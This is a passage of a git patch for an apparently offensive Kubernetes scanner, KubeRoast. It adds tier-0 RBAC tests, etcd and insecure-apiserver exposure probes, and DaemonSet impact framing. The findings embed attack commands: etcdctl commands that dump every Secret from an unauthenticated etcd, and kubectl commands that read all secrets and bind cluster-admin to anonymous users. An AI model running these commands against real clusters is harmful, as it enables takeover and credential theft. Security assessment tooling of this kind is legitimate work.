make_role, make_rule, make_binding, make_cluster_binding, + make_subject, +) + + +def _grant(verbs, resources, sa_name="att", sa_ns="dev"): + """Helper: ClusterRole with the given rule bound to an SA. Returns (roles, croles, rbs, crbs).""" + cr = make_cluster_role(name="r", rules=[make_rule(verbs=verbs, resources=resources)]) + crb = make_cluster_binding(name="b", role_kind="ClusterRole", role_name="r", + subjects=[make_subject(kind="ServiceAccount", name=sa_name, namespace=sa_ns)]) + return [], [cr], [], [crb] + + +def test_csr_mint_is_tier0(): + cr = make_cluster_role(name="csr", rules=[ + make_rule(verbs=["create"], resources=["certificatesigningrequests"]), + make_rule(verbs=["update"], resources=["certificatesigningrequests/approval"]), + ]) + crb = make_cluster_binding(name="b", role_kind="ClusterRole", role_name="csr", + subjects=[make_subject(kind="ServiceAccount", name="att", namespace="dev")]) + findings = analyze_tier_zero([], [cr], [], [crb]) + f = next(f for f in findings if f.id == "AP-TIER0" and "sa:dev:att" in f.resource) + assert f.severity == "critical" + assert "system:masters" in (f.exploit or "") + assert "T1649" in f.attack_techniques or "T1098.001" in f.attack_techniques + + +def test_csr_create_without_approve_not_tier0(): + """create CSR alone is not enough — need approval too.""" + roles, croles, rbs, crbs = _grant(["create"], ["certificatesigningrequests"]) + findings = analyze_tier_zero(roles, croles, rbs, crbs) + # may still be flagged for nothing else; ensure CSR primitive specifically absent + tier0 = [f for f in findings if f.id == "AP-TIER0" and "sa:dev:att" in f.resource] + assert tier0 == [] + + +def test_nodes_proxy_is_tier0(): + roles, croles, rbs, crbs = _grant(["create"], ["nodes/proxy"]) + findings = analyze_tier_zero(roles, croles, rbs, crbs) + f = next(f for f in findings if f.id == "AP-TIER0" and "sa:dev:att" in f.resource) + assert "nodes/proxy" in f.description + + +def test_exec_anywhere_is_tier0(): + roles, croles, rbs, crbs = _grant(["create"], ["pods/exec"]) + findings = analyze_tier_zero(roles, croles, rbs, crbs) + f = next(f for f in findings if f.id == "AP-TIER0" and "sa:dev:att" in f.resource) + assert "exec into any pod" in f.description + + +def test_read_all_secrets_is_tier0(): + cr = make_cluster_role(name="s", rules=[make_rule(verbs=["get", "list"], resources=["secrets"])]) + crb = make_cluster_binding(name="b", role_kind="ClusterRole", role_name="s", + subjects=[make_subject(kind="ServiceAccount", name="att", namespace="dev")]) + findings = analyze_tier_zero([], [cr], [], [crb]) + f = next(f for f in findings if f.id == "AP-TIER0" and "sa:dev:att" in f.resource) + assert "read every Secret" in f.description + + +def test_token_mint_is_tier0(): + roles, croles, rbs, crbs = _grant(["create"], ["serviceaccounts/token"]) + findings = analyze_tier_zero(roles, croles, rbs, crbs) + assert any(f.id == "AP-TIER0" and "sa:dev:att" in f.resource for f in findings) + + +def test_webhook_write_is_tier0(): + roles, croles, rbs, crbs = _grant(["create"], ["mutatingwebhookconfigurations"]) + findings = analyze_tier_zero(roles, croles, rbs, crbs) + f = next(f for f in findings if f.id == "AP-TIER0" and "sa:dev:att" in f.resource) + assert "admission webhooks" in f.description + + +def test_impersonate_is_tier0(): + roles, croles, rbs, crbs = _grant(["impersonate"], ["users"]) + findings = analyze_tier_zero(roles, croles, rbs, crbs) + assert any(f.id == "AP-TIER0" and "sa:dev:att" in f.resource for f in findings) + + +def test_kube_system_sa_not_reported(): + """kube-system control-plane SAs are expected to be powerful — don't report them as hidden admins.""" + cr = make_cluster_role(name="s", rules=[make_rule(verbs=["get", "list"], resources=["secrets"])]) + crb = make_cluster_binding(name="b", role_kind="ClusterRole", role_name="s", + subjects=[make_subject(kind="ServiceAccount", name="generic-garbage-collector", namespace="kube-system")]) + findings = analyze_tier_zero([], [cr], [], [crb]) + assert not [f for f in findings if "kube-system" in f.resource] + + +def test_boring_reader_not_tier0(): + cr = make_cluster_role(name="r", rules=[make_rule(verbs=["get"], resources=["pods"])]) + crb = make_cluster_binding(name="b", role_kind="ClusterRole", role_name="r", + subjects=[make_subject(kind="ServiceAccount", name="reader", namespace="dev")]) + findings = analyze_tier_zero([], [cr], [], [crb]) + assert findings == [] + + +def test_multiple_primitives_listed_in_one_finding(): + cr = make_cluster_role(name="r", rules=[ + make_rule(verbs=["get", "list"], resources=["secrets"]), + make_rule(verbs=["create"], resources=["pods/exec"]), + ]) + crb = make_cluster_binding(name="b", role_kind="ClusterRole", role_name="r", + subjects=[make_subject(kind="ServiceAccount", name="att", namespace="dev")]) + findings = analyze_tier_zero([], [cr], [], [crb]) + f = next(f for f in findings if f.id == "AP-TIER0" and "sa:dev:att" in f.resource) + assert "read every Secret" in f.description + assert "exec into any pod" in f.description From 56d2d37df374ab56c54b83ce95a3ef8aeee6327a Mon Sep 17 00:00:00 2001 From: Claude Date: Mon, 1 Jun 2026 03:31:24 +0000 Subject: [PATCH 3/3] Add control-plane/etcd exposure probes + DaemonSet escape amplification MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Control-plane probes (scanners/controlplane.py) ----------------------------------------------- Active, read-only probes of control-plane nodes — the crown jewels that bypass Kubernetes RBAC entirely: - CP-ETCD-NOAUTH (critical): etcd 2379 answers /version unauthenticated → client-cert auth is off → read/write every Secret directly via etcdctl, invisible to API audit logs. Emits the exact etcdctl dump command. - CP-ETCD-REACHABLE (high): etcd client port reachable from the scan origin even when mTLS is enforced — it should never be routable from the workload network. - CP-ETCD-PEER (medium): etcd peer port 2380 reachable. - CP-APISERVER-INSECURE (critical): legacy insecure apiserver port 8080 serves the API unauthenticated → implicit cluster-admin. - CP-PORT-8080-OPEN (low): 8080 open but unconfirmed — identify listener. Probing prefers control-plane-labeled nodes (etcd is co-located on kubeadm/self-managed); on managed control planes (EKS/GKE/AKS) the ports aren't reachable and nothing fires. Reuses the kubelet TCP/HTTP probe helpers; gated by --skip-kubelet-probe (all active HTTP probing). DaemonSet escape amplification (utils/workloads.py) --------------------------------------------------- A DaemonSet runs a pod on every node, so an escape primitive in its template is a foothold on ALL nodes, not one pod. Escape/AttackPath findings sourced from a DaemonSet template now get their impact re-framed to node-wide blast radius. Applied in both cluster and manifest mode. Tests ----- 200 -> 215. New test_controlplane (13) covering etcd noauth/reachable/peer, plain-HTTP etcd, insecure apiserver, target selection, and end-to-end; plus DaemonSet amplification tests in test_workloads. Docs ---- README: new Control-Plane Exposure coverage section, ControlPlane category, DaemonSet-amplification note, updated comparison + architecture. https://claude.ai/code/session_01Eq8TDiVnuuVQU2HR9KtCNg --- README.md | 31 +++- kuberoast/cli.py | 13 +- kuberoast/scanners/controlplane.py | 223 +++++++++++++++++++++++++++++ kuberoast/utils/workloads.py | 16 +++ tests/test_controlplane.py | 118 +++++++++++++++ tests/test_workloads.py | 26 ++++ 6 files changed, 418 insertions(+), 9 deletions(-) create mode 100644 kuberoast/scanners/controlplane.py create mode 100644 tests/test_controlplane.py diff --git a/README.md b/README.md index 17b4133..7f58d8c 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,7 @@

Python 3.9+ MIT License - Tests + Tests Version Read-only

@@ -43,6 +43,7 @@ KubeRoast is built around the questions an operator actually asks: | *"Which SAs are 1–2 hops from cluster-admin?"* | **Multi-hop RBAC chain analysis** — traverses `create pods` → `pods/exec` → `serviceaccounts/token` → CSR cert-mint → `bind` graph and emits the full chain with per-hop PoC | | *"Who is *already* cluster-admin without the obvious binding?"* | **Tier-0 identification** — names the principals holding crown-jewel verbs (CSR create+approve → mint a `system:masters` cert, `nodes/proxy`, cluster-wide `pods/exec`, read-all-secrets, `serviceaccounts/token`, webhook writes) | | *"How do I get from a pod into the cloud account?"* | **Cloud-pivot modeling** — IMDS reachability (per-namespace egress posture, provider-specific credential-theft curl) and IRSA / GKE Workload Identity / Azure Workload Identity SA→role mapping | +| *"Is the datastore reachable?"* | **Control-plane probes** — etcd (2379) reachable / without client-cert auth → read every Secret directly, and the legacy insecure apiserver port (8080) → unauthenticated cluster-admin | | *"Is anything here a known one-shot?"* | **CVE correlation** — runc/kubelet/k8s/ingress-nginx versions → known-exploitable escape & escalation CVEs (Leaky Vessels, IngressNightmare, the apiserver-proxy bug) with CISA-KEV and EPSS tags | | *"Is this kubelet I can reach actually exploitable?"* | **Active kubelet HTTP probes** against `/pods`, `/configz`, `/metrics` on 10250/10255 — not just a TCP port check | | *"Where are the credentials that shouldn't be there?"* | **Credential hunt** across ConfigMaps, pod env vars, and command-line args (AKIA…, ghp_…, PEM keys, JDBC URLs, Azure connection strings) plus **SA token JWT decode** (legacy non-expiring tokens, IRSA audiences) | @@ -126,6 +127,9 @@ kuberoast --report json | jq '[.[] | select(.category == "CloudPivot")]' # 5. Known one-shots — CVEs in running versions, ranked by EPSS kuberoast --report json | jq '[.[] | select(.category == "CVE")] | sort_by(.metadata.epss) | reverse' +# 5b. Crown jewels — etcd / insecure apiserver reachable? +kuberoast --report json | jq '[.[] | select(.category == "ControlPlane")]' + # 6. Credential haul — secrets, configmaps, env, tokens kuberoast --report json | jq '[.[] | select(.category | IN("Secrets","ConfigMaps","Tokens"))]' ``` @@ -134,7 +138,7 @@ Each command runs in seconds. You walk away with a prioritized hit-list, PoC com ## Offensive Coverage -KubeRoast runs **60+ checks across 13 categories**. Coverage emphasizes attacker-actionable findings. +KubeRoast runs **65+ checks across 14 categories**. Coverage emphasizes attacker-actionable findings. ### 🚪 Container Escape Primitives ([`scanners/escapes.py`](kuberoast/scanners/escapes.py)) @@ -173,6 +177,20 @@ The single highest-impact real-world escalation: pod → cloud account. | `CLOUD-GKE-WI` | SA mapped to a GCP service account via GKE Workload Identity. | | `CLOUD-AZURE-WI` | SA configured for Azure Workload Identity (federated → ARM token). | +### 🏰 Control-Plane Exposure ([`scanners/controlplane.py`](kuberoast/scanners/controlplane.py)) + +Active, read-only probes of control-plane nodes. On managed control planes (EKS/GKE/AKS) these ports aren't reachable and nothing fires. + +| ID | What it confirms | +|---|---| +| `CP-ETCD-NOAUTH` | etcd (2379) answers `/version` unauthenticated → no client-cert auth → read/write **every Secret** directly via `etcdctl`, bypassing RBAC and audit logs (critical) | +| `CP-ETCD-REACHABLE` | etcd client port reachable from scan origin (TCP) — should never be routable from the workload network (high) | +| `CP-ETCD-PEER` | etcd peer port (2380) reachable | +| `CP-APISERVER-INSECURE` | legacy insecure apiserver port (8080) serves the API unauthenticated → implicit cluster-admin (critical) | +| `CP-PORT-8080-OPEN` | port 8080 open but not confirmed as apiserver — identify the listener | + +> **DaemonSet amplification:** escape primitives found in a DaemonSet template are re-framed as a foothold on *every* node (a DaemonSet schedules a pod per node), not a single-pod compromise. + ### 🩹 CVE Correlation ([`scanners/cve.py`](kuberoast/scanners/cve.py)) Version-aware, offline, deterministic. Each finding carries CISA-KEV status and EPSS (verified against live feeds at authoring time). @@ -327,7 +345,7 @@ kuberoast [OPTIONS] | Flag | Skips | |---|---| | `--skip-nodes` | Node TCP + kubelet probes (node list still fetched for CVE/cloud) | -| `--skip-kubelet-probe` | Active HTTP kubelet probing (TCP-port check still runs) | +| `--skip-kubelet-probe` | Active HTTP probing — kubelet **and** control-plane (etcd / insecure apiserver). TCP-port check still runs | | `--skip-secrets` | Secret heuristics + SA token analysis | | `--skip-configmaps` | ConfigMap credential hunt | | `--skip-attack-paths` | RBAC 1-hop + multi-hop chains + tier-0 | @@ -361,7 +379,7 @@ kuberoast [OPTIONS] **Severity:** `critical` > `high` > `medium` > `low` > `info` **Exploitability:** `trivial` > `easy` > `moderate` > `hard` > `theoretical` -**Categories:** `Escape`, `AttackPath`, `CloudPivot`, `CVE`, `Pod Security`, `RBAC`, `Network`, `Node`, `Secrets`, `ConfigMaps`, `Tokens`, `Webhooks`, `Policy` +**Categories:** `Escape`, `AttackPath`, `CloudPivot`, `ControlPlane`, `CVE`, `Pod Security`, `RBAC`, `Network`, `Node`, `Secrets`, `ConfigMaps`, `Tokens`, `Webhooks`, `Policy` ## Required RBAC @@ -416,6 +434,7 @@ kuberoast/ pods.py 11 pod-level hardening checks escapes.py Container escape primitive analysis (scoring + PoC) cloud.py Cloud-account pivots (IMDS + IRSA/WI federation) + controlplane.py etcd / insecure-apiserver exposure probes cve.py Version→known-exploitable-CVE correlation rbac.py RBAC hygiene network.py Service + Ingress exposure @@ -449,6 +468,7 @@ tests/ 200 tests covering every scanner + edge case | Multi-hop RBAC escalation chains (incl. CSR cert-mint) | ✅ | — | — | — | | Tier-0 / effective-cluster-admin identification | ✅ | — | — | — | | Cloud-account pivot modeling (IMDS + IRSA/WI) | ✅ | — | — | — | +| etcd / insecure-apiserver exposure probes | ✅ | partial | — | ✅ | | Version→CVE correlation with KEV/EPSS | ✅ | — | partial | partial | | Active kubelet HTTP enumeration | ✅ | — | — | ✅ | | SA token JWT decode (legacy detection) | ✅ | — | — | — | @@ -472,11 +492,10 @@ tests/ 200 tests covering every scanner + edge case ## Roadmap -- Live IMDS reachability probe from an in-cluster job (confirm, not just infer) - Expand the CVE knowledge base + optional OSV/NVD live lookup -- etcd / control-plane port exposure checks (2379/2380, insecure apiserver) - CRD-defined secret detection (SealedSecrets, ExternalSecrets, Vault) - ATT&CK navigator-layer export from finding techniques +- NetworkPolicy lateral-movement gap analysis (flat-network namespaces) ## Contributing diff --git a/kuberoast/cli.py b/kuberoast/cli.py index a19f607..8e8ebf2 100644 --- a/kuberoast/cli.py +++ b/kuberoast/cli.py @@ -16,7 +16,7 @@ list_all_service_accounts, list_all_network_policies, get_server_version, ) from .utils.findings import Finding, HYGIENE_FINDING_IDS -from .utils.workloads import iter_workload_pods, relabel_workload_findings +from .utils.workloads import iter_workload_pods, relabel_workload_findings, amplify_daemonset_findings from .scanners.pods import scan_pod_security from .scanners.nodes import scan_nodes from .scanners.kubelet import scan_kubelet @@ -31,6 +31,7 @@ from .scanners.tokens import scan_tokens from .scanners.webhooks import scan_webhooks from .scanners.cloud import scan_cloud_pivots +from .scanners.controlplane import scan_control_plane from .scanners.cve import scan_cve, find_ingress_images from .attackpaths.rbac_escalation import analyze_attack_paths from .attackpaths.sa_chains import analyze_sa_chains @@ -89,7 +90,9 @@ def run_cluster_scan(args) -> List[Finding]: deployments_cache = workloads for synth_pod, _kind, name in iter_workload_pods(workloads, kind): wl_findings = _scan_pod_collection([synth_pod]) - findings.extend(relabel_workload_findings(wl_findings, kind, name)) + wl_findings = relabel_workload_findings(wl_findings, kind, name) + wl_findings = amplify_daemonset_findings(wl_findings, kind) + findings.extend(wl_findings) logger.info("Scanning namespace PSS labels...") nslist = list_all_namespaces(core) @@ -108,6 +111,8 @@ def run_cluster_scan(args) -> List[Finding]: findings.extend(scan_nodes(nodes)) # legacy TCP probe (kept for backwards-compat) if not args.skip_kubelet_probe: findings.extend(scan_kubelet(nodes)) + logger.info("Probing control plane (etcd / insecure apiserver)...") + findings.extend(scan_control_plane(nodes)) if not args.skip_secrets: logger.info("Scanning secrets...") @@ -177,7 +182,9 @@ def run_manifest_scan(path: str) -> List[Finding]: workloads = grouped.get(kind, []) for synth_pod, _kind, name in iter_workload_pods(workloads, kind): wl_findings = _scan_pod_collection([synth_pod]) - findings.extend(relabel_workload_findings(wl_findings, kind, name)) + wl_findings = relabel_workload_findings(wl_findings, kind, name) + wl_findings = amplify_daemonset_findings(wl_findings, kind) + findings.extend(wl_findings) # PSS labels on namespaces (only if they're present in the manifests) nslist = grouped.get("Namespace", []) diff --git a/kuberoast/scanners/controlplane.py b/kuberoast/scanners/controlplane.py new file mode 100644 index 0000000..1b67e95 --- /dev/null +++ b/kuberoast/scanners/controlplane.py @@ -0,0 +1,223 @@ +"""Control-plane exposure probes — etcd and the legacy insecure apiserver. + +These are the crown jewels. Reachability to either, without auth, is +game over and bypasses Kubernetes RBAC entirely: + + * etcd (2379) without client-cert auth → read/write the entire cluster + datastore directly: every Secret (SA tokens, TLS keys), every object. + `client-cert-auth=true` gates this at the TLS layer, so if an + unauthenticated HTTP /version succeeds, key reads are open too. + * insecure apiserver (8080) → unauthenticated, full API access as an + implicit cluster-admin. Removed in k8s 1.20 but still found on old + or hand-rolled clusters. + * etcd peer (2380) reachable from the workload network is itself an + exposure (shouldn't be routable from pods). + +We TCP-connect and issue read-only HTTP GETs only — never write, never +dump keys. The operator gets the exact etcdctl/curl to confirm. + +Probing targets control-plane-labeled nodes when present (etcd is +co-located there on kubeadm/self-managed clusters); on managed control +planes (EKS/GKE/AKS) these ports won't be reachable and nothing fires. +""" +import logging +from concurrent.futures import ThreadPoolExecutor, as_completed +from typing import List, Tuple + +from ..utils.findings import Finding +from .kubelet import _tcp_open, _http_get + +logger = logging.getLogger("kuberoast") + +ETCD_CLIENT_PORT = 2379 +ETCD_PEER_PORT = 2380 +APISERVER_INSECURE_PORT = 8080 + +CONTROL_PLANE_LABELS = ( + "node-role.kubernetes.io/control-plane", + "node-role.kubernetes.io/master", +) + + +def _probe_etcd(node_name: str, ip: str) -> List[Finding]: + findings: List[Finding] = [] + if not _tcp_open(ip, ETCD_CLIENT_PORT): + return findings + + # etcd serves /version over the client port. A 200 without a client cert + # means client-cert-auth is off → unauthenticated key access. + status, body = _http_get(f"https://{ip}:{ETCD_CLIENT_PORT}/version") + if status != 200: + status, body = _http_get(f"http://{ip}:{ETCD_CLIENT_PORT}/version") + + if status == 200 and ("etcdserver" in body or "etcdcluster" in body or "version" in body.lower()): + findings.append(Finding( + id="CP-ETCD-NOAUTH", + title="etcd reachable without client-certificate auth", + description=( + f"etcd on node {node_name} ({ip}:{ETCD_CLIENT_PORT}) answered /version to an " + "unauthenticated client. client-cert-auth is not enforced, so the entire cluster " + "datastore is readable/writable directly — every Secret, SA token, and object, " + "bypassing Kubernetes RBAC completely." + ), + severity="critical", + category="ControlPlane", + resource=f"node/{node_name}", + exploitability="trivial", + exploit=( + f"# Dump every secret straight from etcd (no API server, no RBAC):\n" + f"etcdctl --endpoints=https://{ip}:{ETCD_CLIENT_PORT} --insecure-skip-tls-verify " + f"get / --prefix --keys-only | grep /secrets/\n" + f"etcdctl --endpoints=https://{ip}:{ETCD_CLIENT_PORT} --insecure-skip-tls-verify " + f"get /registry/secrets/kube-system/ --prefix" + ), + impact="Full cluster compromise. Direct read/write of all Secrets and objects in etcd — " + "instant cluster-admin equivalent, undetectable by API audit logs.", + attack_techniques=["T1552.007", "T1213"], + remediation=( + "Enable etcd mutual TLS: --client-cert-auth=true and --trusted-ca-file. Restrict " + "etcd ports to the control-plane network only; never route them to the pod/workload network. " + "Encrypt secrets at rest with an EncryptionConfiguration so an etcd read isn't plaintext." + ), + references=[ + "https://etcd.io/docs/latest/op-guide/security/", + "https://kubernetes.io/docs/tasks/administer-cluster/securing-a-cluster/", + ], + )) + else: + findings.append(Finding( + id="CP-ETCD-REACHABLE", + title="etcd client port reachable from scan origin", + description=( + f"etcd client port {ip}:{ETCD_CLIENT_PORT} on node {node_name} is reachable " + "(TCP connect succeeded; it did not return /version unauthenticated, so client-cert " + "auth is likely enforced). etcd should not be routable from the workload network at all." + ), + severity="high", + category="ControlPlane", + resource=f"node/{node_name}", + exploitability="moderate", + exploit=( + f"# Confirm whether client-cert auth is enforced:\n" + f"curl -sk https://{ip}:{ETCD_CLIENT_PORT}/version\n" + f"# If you can obtain etcd client certs (e.g. from a control-plane node), full datastore access follows." + ), + impact="Network path to etcd from this position. With stolen/forged etcd client certs, " + "full datastore access (all Secrets) follows.", + attack_techniques=["T1213"], + remediation="Firewall etcd ports to the control-plane network. Pods and general workloads must " + "never have a route to 2379/2380.", + references=["https://etcd.io/docs/latest/op-guide/security/"], + )) + + # Peer port exposure + if _tcp_open(ip, ETCD_PEER_PORT): + findings.append(Finding( + id="CP-ETCD-PEER", + title="etcd peer port reachable", + description=f"etcd peer port {ip}:{ETCD_PEER_PORT} on node {node_name} is reachable from the scan origin.", + severity="medium", + category="ControlPlane", + resource=f"node/{node_name}", + exploitability="moderate", + exploit=f"# Peer port is for etcd-to-etcd replication; reachability from workloads is a misconfiguration.", + impact="etcd replication traffic exposed; widens the etcd attack surface.", + attack_techniques=["T1213"], + remediation="Restrict the etcd peer port to the etcd cluster members only.", + references=["https://etcd.io/docs/latest/op-guide/security/"], + )) + + return findings + + +def _probe_insecure_apiserver(node_name: str, ip: str) -> List[Finding]: + findings: List[Finding] = [] + if not _tcp_open(ip, APISERVER_INSECURE_PORT): + return findings + + status, body = _http_get(f"http://{ip}:{APISERVER_INSECURE_PORT}/api") + if status == 200 and ("versions" in body or "serverAddress" in body or "APIVersions" in body): + findings.append(Finding( + id="CP-APISERVER-INSECURE", + title="Insecure apiserver port serves the API unauthenticated", + description=( + f"The kube-apiserver insecure port on {ip}:{APISERVER_INSECURE_PORT} (node {node_name}) " + "returned the API root without authentication. Requests on this port are treated as an " + "implicit cluster-admin — full unauthenticated control of the cluster." + ), + severity="critical", + category="ControlPlane", + resource=f"node/{node_name}", + exploitability="trivial", + exploit=( + f"kubectl --server=http://{ip}:{APISERVER_INSECURE_PORT} --insecure-skip-tls-verify get secrets -A\n" + f"kubectl --server=http://{ip}:{APISERVER_INSECURE_PORT} create clusterrolebinding pwn " + f"--clusterrole=cluster-admin --user=system:anonymous" + ), + impact="Unauthenticated cluster-admin. Read all Secrets, create workloads, bind roles — total takeover.", + attack_techniques=["T1190", "T1078"], + remediation=( + "Disable the insecure port: --insecure-port=0 (it is removed entirely in Kubernetes ≥1.20 — " + "upgrade if this port exists). Ensure only the secure port (6443) is served." + ), + references=[ + "https://kubernetes.io/docs/reference/command-line-tools-reference/kube-apiserver/", + ], + )) + else: + findings.append(Finding( + id="CP-PORT-8080-OPEN", + title="Port 8080 open on node (verify it isn't an insecure apiserver)", + description=( + f"Port {APISERVER_INSECURE_PORT} is open on {ip} (node {node_name}) but did not return the API " + f"root (HTTP {status}). Confirm what is listening — historically this is the insecure apiserver port." + ), + severity="low", + category="ControlPlane", + resource=f"node/{node_name}", + exploitability="easy", + exploit=f"curl -s http://{ip}:{APISERVER_INSECURE_PORT}/api http://{ip}:{APISERVER_INSECURE_PORT}/healthz", + impact="Unknown service on the historical insecure-apiserver port; identify and restrict it.", + remediation="Identify the listener; if it is kube-apiserver, set --insecure-port=0.", + references=["https://kubernetes.io/docs/reference/command-line-tools-reference/kube-apiserver/"], + )) + return findings + + +def _control_plane_targets(nodes) -> List[Tuple[str, str]]: + """Return (node_name, ip) to probe. Prefer control-plane-labeled nodes; else all nodes.""" + cp_tasks: List[Tuple[str, str]] = [] + all_tasks: List[Tuple[str, str]] = [] + for n in nodes: + labels = getattr(getattr(n, "metadata", None), "labels", None) or {} + is_cp = any(l in labels for l in CONTROL_PLANE_LABELS) + addrs = getattr(getattr(n, "status", None), "addresses", []) or [] + ips = [a.address for a in addrs if a.type in ("InternalIP", "ExternalIP")] + for ip in ips: + all_tasks.append((n.metadata.name, ip)) + if is_cp: + cp_tasks.append((n.metadata.name, ip)) + return cp_tasks or all_tasks + + +def _probe_node(node_name: str, ip: str) -> List[Finding]: + findings: List[Finding] = [] + findings.extend(_probe_etcd(node_name, ip)) + findings.extend(_probe_insecure_apiserver(node_name, ip)) + return findings + + +def scan_control_plane(nodes, max_workers: int = 10) -> List[Finding]: + findings: List[Finding] = [] + tasks = _control_plane_targets(nodes or []) + if not tasks: + return findings + with ThreadPoolExecutor(max_workers=min(max_workers, len(tasks))) as pool: + futures = {pool.submit(_probe_node, name, ip): (name, ip) for name, ip in tasks} + for fut in as_completed(futures): + try: + findings.extend(fut.result()) + except Exception as e: + name, ip = futures[fut] + logger.warning("Failed to probe control-plane on %s at %s: %s", name, ip, e) + return findings diff --git a/kuberoast/utils/workloads.py b/kuberoast/utils/workloads.py index 29da0a8..f4b304f 100644 --- a/kuberoast/utils/workloads.py +++ b/kuberoast/utils/workloads.py @@ -88,6 +88,22 @@ def relabel_workload_findings(findings, kind: str, name: str): return out +def amplify_daemonset_findings(findings, kind: str): + """A DaemonSet runs a pod on *every* node, so an escape primitive in its + template is a foothold on all nodes, not one pod. Bump the framing of + escape/attack-path findings to reflect node-wide blast radius.""" + if kind != "DaemonSet": + return findings + out = [] + for f in findings: + if f.category in ("Escape", "AttackPath") and f.severity in ("critical", "high"): + note = "[DaemonSet — scheduled on EVERY node: compromise yields a foothold on all nodes] " + new_impact = note + (f.impact or "") + f = f.model_copy(update={"impact": new_impact}) + out.append(f) + return out + + def iter_workload_pods(workloads: Iterable, kind: str) -> Iterable[Tuple[object, str, str]]: """Yield (synthesized_pod, kind, name) for each workload that has a template.""" for w in workloads: diff --git a/tests/test_controlplane.py b/tests/test_controlplane.py new file mode 100644 index 0000000..a127627 --- /dev/null +++ b/tests/test_controlplane.py @@ -0,0 +1,118 @@ +"""Tests for control-plane exposure probes (etcd / insecure apiserver). + +We monkeypatch the TCP and HTTP primitives (imported into the +controlplane namespace) so no real sockets are opened — the focus is the +decision logic and the finding content. +""" +import pytest + +from kuberoast.scanners import controlplane as cp +from kuberoast.scanners.controlplane import ( + scan_control_plane, _control_plane_targets, _probe_etcd, _probe_insecure_apiserver, +) +from tests.conftest import make_node + + +def _patch(monkeypatch, open_ports, routes): + """open_ports: set of ints. routes: dict substring->(status, body).""" + monkeypatch.setattr(cp, "_tcp_open", lambda ip, port, timeout=1.5: port in open_ports) + + def fake_http(url, **kw): + for sub, resp in routes.items(): + if sub in url: + return resp + return (-1, "") + monkeypatch.setattr(cp, "_http_get", fake_http) + + +# ---------- etcd ---------- + +def test_etcd_noauth_critical(monkeypatch): + _patch(monkeypatch, {2379}, {":2379/version": (200, '{"etcdserver":"3.5.9","etcdcluster":"3.5.0"}')}) + findings = _probe_etcd("cp-0", "10.0.0.5") + f = next(f for f in findings if f.id == "CP-ETCD-NOAUTH") + assert f.severity == "critical" + assert f.exploitability == "trivial" + assert "etcdctl" in (f.exploit or "") + assert "T1552.007" in f.attack_techniques + + +def test_etcd_reachable_but_auth_enforced(monkeypatch): + # TCP open, but /version doesn't return 200 (client-cert auth → TLS rejects us) + _patch(monkeypatch, {2379}, {}) + findings = _probe_etcd("cp-0", "10.0.0.5") + ids = {f.id for f in findings} + assert "CP-ETCD-REACHABLE" in ids + assert "CP-ETCD-NOAUTH" not in ids + assert next(f for f in findings if f.id == "CP-ETCD-REACHABLE").severity == "high" + + +def test_etcd_peer_port_flagged(monkeypatch): + _patch(monkeypatch, {2379, 2380}, {}) + findings = _probe_etcd("cp-0", "10.0.0.5") + assert "CP-ETCD-PEER" in {f.id for f in findings} + + +def test_etcd_closed_no_findings(monkeypatch): + _patch(monkeypatch, set(), {}) + assert _probe_etcd("cp-0", "10.0.0.5") == [] + + +def test_etcd_plain_http(monkeypatch): + """Some clusters expose etcd over plain HTTP — also a CP-ETCD-NOAUTH.""" + _patch(monkeypatch, {2379}, {"http://10.0.0.5:2379/version": (200, '{"etcdserver":"3.4.0"}')}) + # https attempt returns -1, http attempt returns 200 + findings = _probe_etcd("cp-0", "10.0.0.5") + assert "CP-ETCD-NOAUTH" in {f.id for f in findings} + + +# ---------- insecure apiserver ---------- + +def test_insecure_apiserver_critical(monkeypatch): + _patch(monkeypatch, {8080}, {":8080/api": (200, '{"kind":"APIVersions","versions":["v1"]}')}) + findings = _probe_insecure_apiserver("cp-0", "10.0.0.5") + f = next(f for f in findings if f.id == "CP-APISERVER-INSECURE") + assert f.severity == "critical" + assert "system:anonymous" in (f.exploit or "") or "cluster-admin" in (f.exploit or "") + + +def test_port_8080_open_but_not_apiserver(monkeypatch): + _patch(monkeypatch, {8080}, {":8080/api": (404, "")}) + findings = _probe_insecure_apiserver("cp-0", "10.0.0.5") + f = next(f for f in findings if f.id == "CP-PORT-8080-OPEN") + assert f.severity == "low" + + +def test_apiserver_port_closed(monkeypatch): + _patch(monkeypatch, set(), {}) + assert _probe_insecure_apiserver("cp-0", "10.0.0.5") == [] + + +# ---------- target selection ---------- + +def test_targets_prefer_control_plane_nodes(): + cp_node = make_node(name="master", labels={"node-role.kubernetes.io/control-plane": ""}, + addresses=[__import__("types").SimpleNamespace(type="InternalIP", address="10.0.0.1")]) + worker = make_node(name="worker", labels={}, + addresses=[__import__("types").SimpleNamespace(type="InternalIP", address="10.0.0.2")]) + targets = _control_plane_targets([cp_node, worker]) + assert ("master", "10.0.0.1") in targets + assert ("worker", "10.0.0.2") not in targets + + +def test_targets_fallback_to_all_when_unlabeled(): + worker = make_node(name="worker", labels={}, + addresses=[__import__("types").SimpleNamespace(type="InternalIP", address="10.0.0.2")]) + targets = _control_plane_targets([worker]) + assert ("worker", "10.0.0.2") in targets + + +def test_scan_control_plane_no_nodes(): + assert scan_control_plane([]) == [] + + +def test_scan_control_plane_end_to_end(monkeypatch): + _patch(monkeypatch, {2379}, {":2379/version": (200, '{"etcdserver":"3.5.9"}')}) + node = make_node(name="master", labels={"node-role.kubernetes.io/control-plane": ""}) + findings = scan_control_plane([node]) + assert "CP-ETCD-NOAUTH" in {f.id for f in findings} diff --git a/tests/test_workloads.py b/tests/test_workloads.py index 82cdf8a..b0eac87 100644 --- a/tests/test_workloads.py +++ b/tests/test_workloads.py @@ -5,7 +5,9 @@ from kuberoast.scanners.pods import scan_pod_security from kuberoast.utils.workloads import ( synthesize_pod_from_workload, relabel_workload_findings, iter_workload_pods, + amplify_daemonset_findings, ) +from kuberoast.utils.findings import Finding from tests.conftest import ( make_pod, make_container, make_host_path_volume, make_deployment, make_cronjob, @@ -99,3 +101,27 @@ def test_deployment_template_run_through_pod_scanner(): relabeled = relabel_workload_findings(findings, "Deployment", "bad-deploy") priv = next(f for f in relabeled if f.id == "POD-PRIV") assert priv.resource.startswith("deployment/bad-deploy") + + +# ---------- DaemonSet escape amplification ---------- + +def test_daemonset_amplifies_escape_impact(): + findings = [Finding(id="ESC-PRIV", title="x", description="x", severity="critical", + category="Escape", impact="Root on the node.")] + out = amplify_daemonset_findings(findings, "DaemonSet") + assert out[0].impact.startswith("[DaemonSet") + assert "every node" in out[0].impact.lower() + + 